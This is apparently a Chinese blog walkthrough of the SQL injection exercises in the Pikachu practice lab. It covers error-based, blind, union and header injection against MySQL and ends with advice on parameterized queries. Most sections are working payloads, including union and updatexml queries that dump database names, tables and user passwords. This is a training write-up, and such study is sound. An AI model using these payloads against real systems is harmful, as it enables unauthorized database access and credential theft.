前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pikachu漏洞靶场系列之SQL

Pikachu漏洞靶场系列之SQL

作者头像
Naraku
发布2021-07-29 11:02:22
1.1K0
发布2021-07-29 11:02:22
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

概述

在Owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2. 使用参数化(Parameterized Query 或 Parameterized Statement);
  3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

数字型注入(POST)

  • 先在下拉框任意选择一项,点击查询,在网络选项卡可看到以POST方式提交的表单
sql-1
sql-1
  • 通过页面的返回已经提示这里是数字型注入,那么可以猜测其后端逻辑大致如下
代码语言:javascript
复制
select 用户名,用户邮箱 from 表名 where 列名=1
  • 所以可以直接构造Payload得到数据。这里利用HackBar插件,启用POST方式。
代码语言:javascript
复制
submit=查询&id=1 or 1=1 -- 
  • 将此Payload传递进去后,后端会如下执行语句,返回全部用户数据
代码语言:javascript
复制
select 用户名,用户邮箱 from 表名 where 列名=1 or 1=1 -- 
sql-2
sql-2

字符型注入(GET)

  • 通过以下输入,判断后端语句为单引号闭合
代码语言:javascript
复制
1     # 正常返回
1'    # 页面报错
1"    # 正常返回
  • 猜测后端逻辑
代码语言:javascript
复制
select 字段 from 表名 where 列名='1'
  • 构造Payload
代码语言:javascript
复制
1' or 1=1 # 

搜索型注入

  • 测试
代码语言:javascript
复制
1     # 正常返回
1%    # 正常返回
1%'   # 页面报错
1%"   # 正常返回
  • 猜测后端逻辑
代码语言:javascript
复制
select 字段 from 表名 where 列名 LIKE '%1%'
  • Payload
代码语言:javascript
复制
1%' or 1=1 # 

XX型注入

变量的拼接类型是多种多样的,不仅仅限于以上3种类型。所以核心思想是猜测后台语句类型,使用各种闭合进行测试,构造合法SQL语句欺骗后台。

  • 没有提示,只能通过各种组合进行测试
代码语言:javascript
复制
1     # 正常返回
1'    # 页面报错
1"    # 正常返回
  • 判断为单字符闭合+搜索型。继续猜测后端逻辑
代码语言:javascript
复制
1' or 1=1 #     # 页面报错
1'% or 1=1 #    # 页面报错
1') or 1=1 #    # 返回全部数据
  • 最终得到后端逻辑为
代码语言:javascript
复制
select 字段 from 表名 where 列名 LIKE ('1')
  • Payload
代码语言:javascript
复制
1') or 1=1 # 

Insert/update注入

Insert和update注入漏洞一般存在于新增或修改用户信息的地方。

  • 这里进入insert/update注入漏洞环境,点击注册。在账户名处输入',任意填写密码,点击注册。发现页面报错,即可能存在报错注入
  • 此处后台执行的SQL语句如下
代码语言:javascript
复制
insert into member(username,pw,sex,phonenum,email,address) values('naraku','123',1,2,3,4)
  • 构造以下Payload并在账户处输入
代码语言:javascript
复制
-- Payload
' or updatexml(1, concat(0x7e, database()), 0) or '

-- 后台执行如下
insert into member(username,pw,sex,phonenum,email,address) 
values('' or updatexml(1, concat(0x7e, database()), 0) or '','123',1,2,3,4)
  • 此时会返回updatexml()中的查询语句
  • 任意注册一个账户并登录,点击修改个人信息。在任意一栏输入',也会发现页面报错。贴入以上Payload,得到同样结果。

delete注入

  • 进入delete注入漏洞环境,先任意输入一些留言
  • 点击删除,可以看到访问的url为:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1
  • 后台SQL语句
代码语言:javascript
复制
delete from message where id={$_GET['id']};
  • 这里是数字型注入,构造Payload
代码语言:javascript
复制
-- Payload
1 or updatexml(1,concat(0x7e, database()),3)

-- 后台执行如下
delete from message where id=1 or updatexml(1,concat(0x7e, database()),3)

http header注入

有时候后台需要通过HTTP Header头获取客户端的一些信息,如UserAgentAccept字段等,会对客户端的HTTP Header信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header的SQL注入漏洞

  • 这里进入HTTP Header漏洞,使用admin/123456登录一下,可以看到UserAgentAccept字段被记录
sql-3
sql-3
  • 点击退出,重新登录并抓取第二个包。然后发送到Repeater,将UserAgent修改为单引号',可以看到返回报错
sql-4
sql-4
  • 猜测此处存在漏洞,构造Payload,这里Payload跟前面insert漏洞的Payload一样
代码语言:javascript
复制
' or updatexml(1,concat(0x7e, database()),3) or '
sql-5
sql-5

布尔盲注(Base on boolian)

前面的注入都是有明显报错信息返回的,但是很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于"真"和"假"的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假

  • 此处布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该username不存在,并且已知kobe这个用户存在。因此可以构造语句如下:
代码语言:javascript
复制
kobe' and length(database())>6 #
kobe' and length(database())>7 #
  • 使用length()函数来获取当前数据库名的长度并进行比较,在>6时返回用户信息,即证明为真;>7时返回username不存在,即为假。由此可判断该数据库的长度为7
  • 继续构造语句来猜解库名
代码语言:javascript
复制
kobe' and ascii(substr(database(),1,1))>111 #
kobe' and ascii(substr(database(),1,1))>112 #  =>p

...

kobe' and ascii(substr(database(),7,1))>116#
kobe' and ascii(substr(database(),7,1))>117#  =>u
  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值,取1位。并通过ascii()函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111时返回真,>112时返回假。由此可知该ASCII码为112,即p。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu

时间盲注(Base on time)

如果说基于Boolean的盲注在页面上还可以看到真和假不同的回显的话,那么如果页面上什么回显都没有呢?这里就要用到基于时间的盲注,通过特定的输入,判断后台执行的事件,从而确定注入。

  • 此处进入时间盲注漏洞,通过构造以下Payload来判断是否存在时间盲注
代码语言:javascript
复制
kobe' and sleep(5) #
  • 通过控制台可以看到,原本打开这个页面的时间为4.05s我也不知道为什么这么慢...),提交以上Payload后返回的时间为9.11s,延迟了5s,由此可以确认此处存在时间盲注。
sql-6
sql-6
  • 确认存在时间盲注后,可以使用if语句并通过返回的时间进行判断。构造Payload如下
代码语言:javascript
复制
kobe' and if(length(database())>6, sleep(5), null)  # 
kobe' and if(length(database())>7, sleep(5), null)  # 
  • 可以在控制台看到当数据库名长度>6时暂停了5秒,>7时没有暂停。由此可知数据库名长度为7
sql-7
sql-7
  • 最后可以构造以下Payload猜测库名,原理同上
代码语言:javascript
复制
kobe' and if((substr(database(),1,1))='a' , sleep(5), null) #
kobe' and if((substr(database(),1,1))='p' , sleep(5), null) #

宽字节注入

  • 视频讲解较少,后续另开文章。

总结

常见注入类型

  • 数字型:id=$id
  • 字符型:id='$id'
  • 搜索型:text like "%{$_GET['id']}%"

Information_schema利用

MySQL 5.0以上版本自带数据库information_schema,记录当前MySQL下所有数据库名、表名、列名。

基础
  • information_schema提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级
  • Information_schema.schemata :记录库名信息的表
    • schema_name:记录库名的字段
  • Information_schema.tables:记录表名信息的表
    • table_schema:记录库名的字段
    • table_name:记录表名的字段
  • Information_schema.columns :记录列名信息的表
    • table_schema:记录库名的字段
    • table_name:记录表名的字段
    • column_name:记录列名的字段
实战

这里利用字符型GET注入漏洞获取Pikachu库中用户数据

  • 判断闭合
代码语言:javascript
复制
x' or 1=1 #  
  • 猜列数
代码语言:javascript
复制
x' order by 2 #    -> 正常返回
x' order by 3 #    -> 返回错误,即可知列数为2
  • 获取数据库名,当前用户名
代码语言:javascript
复制
x' union select database(),user() #
  • 查询全部库,可以看得库名Pikachu
代码语言:javascript
复制
x' union select 1,schema_name from information_schema.schemata #
  • 查询Pikachu库中的全部表名:httpinfomembermessageusersxssblind
代码语言:javascript
复制
x' union select 1,table_name from information_schema.tables where table_schema="pikachu" #
  • 查询Pikachu库users表中的全部列名:idusernamepasswordlevel
代码语言:javascript
复制
x' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" #
  • 获取数据。从users表中查询usernamepassword
代码语言:javascript
复制
x' union select username,password from users #

报错注入

基础
  • 条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
  • 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。seletc/insert/update/delete都可以使用报错来获取信息
  • 常用函数:updatexml(XML_Document, XPath_String, New_Value)
    • XML_Document,表中字段名
    • XPath_String,XPath格式的字符串
    • New_Value,替换的值
  • 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是将查询表达式放在该参数中,查询结果会跟着报错信息一并返回。
  • 其它函数:ExtractValue((XML_Document, XPath_String)
实战演示
  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号',可以看到返回报错信息,尝试报错注入
  • 构造Payload
代码语言:javascript
复制
' and updatexml(1, version(), 0) # 
  • 此处结果为XPATH syntax error: '.53',可以看到返回的版本号显示不全,需要利用concat()函数
  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e~的十六进制,可以防止返回的查询结果被截断。
代码语言:javascript
复制
' and updatexml(1, concat(0x7e, version()) ,3) #
  • 此时返回的结果是XPATH syntax error: '~5.5.53'
  • 报错只能显示一行。假如执行以下语句获取表名,则会报错:Subquery returns more than 1 row
代码语言:javascript
复制
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取,取1条
代码语言:javascript
复制
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #

......

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
  • 后面获取列名也是一样
代码语言:javascript
复制
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #

......

' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
  • 最后获取数据
代码语言:javascript
复制
' and  updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
' and  updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #

暴力破解表名列名

  • 基本的Payload如下,可搭配Burp的爆破功能进行暴力破解
代码语言:javascript
复制
' and exists(select * from users) # 
' and exists(select id from users) # 

常见防范措施

Hacker -> WAF -> WebServer -> Database

  • 代码层面
    • 对输入进行严格的转义和过滤
    • 推荐:使用预处理和参数化
代码语言:javascript
复制
# PHP中使用PDO的prepare预处理
$username = $_GET['username'];
$password = $_GET['password'];

try{
    $pdo = new PDO('mysql:host=localhost; dbname=ant', 'root', 'root');
    $sql = "select * from admin where username=? and password=?";
    $stmt=$pdo->prepare($sql);  // 预处理,先不传参
    $stmt->execute(array($username, $password));  // 以索引数组方式传参,而不是拼接,就成功防止了注入
}catch(PDOException $e){
    echo $e->getMessage();
}
  • 网络层面
    • 通过WAF设备启用防SQL注入策略
    • 云端防护(360网站卫士、阿里云盾等)

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020 年 02 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概述
  • 数字型注入(POST)
  • 字符型注入(GET)
  • 搜索型注入
  • XX型注入
  • Insert/update注入
  • delete注入
  • http header注入
  • 布尔盲注(Base on boolian)
  • 时间盲注(Base on time)
  • 宽字节注入
  • 总结
    • 常见注入类型
      • Information_schema利用
        • 基础
        • 实战
      • 报错注入
        • 基础
        • 实战演示
      • 暴力破解表名列名
        • 常见防范措施
        相关产品与服务
        云数据库 SQL Server
        腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档